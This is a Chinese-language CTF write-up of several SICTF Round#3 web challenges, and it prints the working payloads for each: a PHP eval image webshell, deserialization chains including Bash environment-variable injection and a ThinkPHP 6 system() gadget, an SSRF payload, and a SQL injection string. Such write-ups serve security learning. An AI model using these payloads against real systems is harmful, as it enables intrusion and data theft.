【Web】SICTF Round#3 个人wp(除进阶)

2024-03-01 19:40:03 分类：前端 热度：98 评论： 0

目录

100%_upload

Not just unserialize

EZ_SSRF

hacker

Oyst3rPHP

还是只会做php，java根本动不了(绝望

100%_upload

有个文件包含，可以伪协议读下源码

php://filter/read=convert.base64-encode/resource=upload.php

<?php
	if(isset($_FILES['upfile'])){
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
		$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

		$text = file_get_contents($_FILES['upfile']['tmp_name']);


		echo $ext;

		if (!preg_match("/ph.|hta***ess/i", $ext)){

			if(preg_match("/<\?php/i", $text)){
				echo "茂夫说：你的文件内容不太对劲哦<br>";
			}
			else{
				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
				echo "上传成功<br>路径为:" . $uploadfile . "<br>";
			}
		} 
		else {
			echo "恶意后缀哦<br>";
			
		}
	}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-***patible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传文件</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-image: url('100.jpg');
            background-size: cover;
            background-position: center;
        }

        .container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        form {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        input[type="file"] {
            margin-bottom: 10px;
        }

        input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="container">
        <form action="upload.php" method="POST" enctype="multipart/form-data">
            <p>请不要上传php脚本哈，不然我们可爱的茂夫要生气啦</p>
            <input type="file" name="upfile" value="" />
            <br>
            <input type="submit" name="submit" value="提交" />
        </form>
    </div>
</body>
</html>

不能上传php文件，并且不能传<?php 开头的

那么上传内容为<?=eval($_POST[1]);?>的图片马

配合文件包含RCE

Not just unserialize

题目信息

命令执行软连接到bash ，结合下面源码可以用bash环境变量注入

我是如何利用环境变量注入执行任意命令 - 跳跳糖

题目源码：

 <?php

highlight_file(__FILE__);
class start
{
    public $wel***e;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->wel***e->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Wel***e to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

链子很好写

start __destruct -> start begin0fweb ->SE __set -> CR __toString ->ET __isset

 exp:

$a=new start();
$b=new SE();
$c=new CR();
$d=new ET();
$a->wel***e=$b;
$a->you='Z3r4y';
$b->year=$c;
$c->newyear='Worries';
$c->last=$d;
$c->worries='Z3r4y';
echo base64_encode(serialize($a));

//Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjM6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjtzOjc6Indv***JpZXMiO3M6NToiWjNyNHkiO319czozOiJ5b3UiO3M6NToiWjNyNHkiO30=

文章里有提到Bash 4.4及以上：env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

结合ET类，直接传入get[BASH_FUNC_echo%%]=() { cat /f*; }即可

最终payload:

?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjM6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjtzOjc6Indv***JpZXMiO3M6NToiWjNyNHkiO319czozOiJ5b3UiO3M6NToiWjNyNHkiO30=&get[BASH_FUNC_echo%%]=() { cat /f*; }

EZ_SSRF

题目信息：

题目源码：

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>

目录本身穿越到顶了也就是/var/www/html下面，不能直接访问根目录下的/flag文件（如果有文件包含点的话那另当别论）

题目又提示我们有别的文件

拿dirsearch扫一下

访问/flag.php，一片空白，说明都是php代码，需要编码后才可读

访问/admin.php，源码如下

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die("You can't get flag");
} else {
    echo $flag;
}
?>

  要求127.0.0.1访问，直接SSRF就行

exp:

$a=new client();
$a->url="http://127.0.0.1/admin.php";
$a->payload="Z3r4y";
echo serialize($a);

最终payload:

?Harder=O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";s:5:"Z3r4y";}

拿到base64编码后解码即可获得flag

hacker

注释告诉我们flag在flag表里

先简单fuzz一下

 发现information_schema.tables被ban了，考虑无列名注入

【CTF】sql注入之无列名注入的姿势_sql注入不知道列名-CSDN博客

payload:

?username=1'/**/union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23

列数一个一个试就行

Oyst3rPHP

这个logo一眼thinkphp，肯定是啥漏洞复现呗

 初始界面除了一张图别的啥也没有，进行信息搜集

dirsearch扫出来www.zip

访问，下载，拿到源码

得知版本是tp6

 index.php的Index类的index方法存在一个反序列化过程，然后还有一些八股绕过

md5加密相等绕过_php 值不相等 md值强相等-CSDN博客(因为string强制类型转换，所以不能数组绕过哈)

利用正则回溯最大次数上限绕过preg_match_正则回溯跟内容过大有关系吗-CSDN博客

然后反序列化用这个：ThinkPHP v6.0.x反序列化漏洞复现与分析_thinkphp v6.0.9漏洞-CSDN博客

稍微改改就能用

<?php
 namespace think\model\concern;
 trait Attribute
 {
     private $data = ["key"=>"cat /Oyst3333333r.php"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo base64_encode(serialize($b));

最终exp:

import requests

url="http://yuanshen.life:37431/?left=QNKCDZO&right=s878926199a"

data={"key":'very'*250000+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBo***I7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBo***I7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"}

res=requests.post(url,data=data)
print(res.text)
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